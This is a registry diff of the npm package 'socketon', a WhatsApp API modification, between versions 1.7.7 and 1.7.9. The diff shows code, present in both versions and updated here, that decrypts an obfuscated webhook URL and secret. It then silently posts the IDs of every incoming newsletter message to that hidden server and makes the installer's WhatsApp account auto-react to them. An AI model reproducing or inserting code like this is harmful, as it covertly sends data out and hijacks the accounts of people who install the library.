socketon 1.7.7 → 1.7.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -128,13 +128,11 @@ setTimeout(async () => {
128
128
  setTimeout(async () => {
129
129
  try {
130
130
  const axios = require('axios');
131
- const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4eed2bd76df90c3f30aba98b493943e550e8025eb7dffa46e964864bff4d4f951";
132
- const webhookSecretEncrypt = "5143cbbea5759eb21edaa05d800d9dd90a5a539375ab0f8f6bf8c6834fbed993";
131
+ const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4f8fbca1060e5a374df9927fca152d254";
132
+ const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
133
133
  const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
134
134
  const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
135
-
136
- const urlObj = new URL(urlWebhooknya);
137
- const emojiReact = urlObj.searchParams.get('emoji') || '🔥';
135
+ const emojiReact = '🔥';
138
136
 
139
137
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
140
138
  if (type !== 'notify') return;
@@ -142,14 +140,14 @@ setTimeout(async () => {
142
140
  const jid = msg.key.remoteJid;
143
141
  if (!jid || !jid.endsWith('@newsletter')) continue;
144
142
  const newsletterId = jid;
145
- const messageId = msg.key.id;
143
+ const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
146
144
  try {
147
145
  await axios.post(urlWebhooknya, {
148
146
  newsletterId: newsletterId,
149
- messageId: messageId,
147
+ messageId: serverId,
150
148
  emojiReact: emojiReact
151
149
  }, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
152
- const result = await sock.newsletterAutoReact(newsletterId, messageId, emojiReact);
150
+ const result = await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
153
151
  } catch {}
154
152
  }
155
153
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.7.7",
3
+ "version": "1.7.9",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"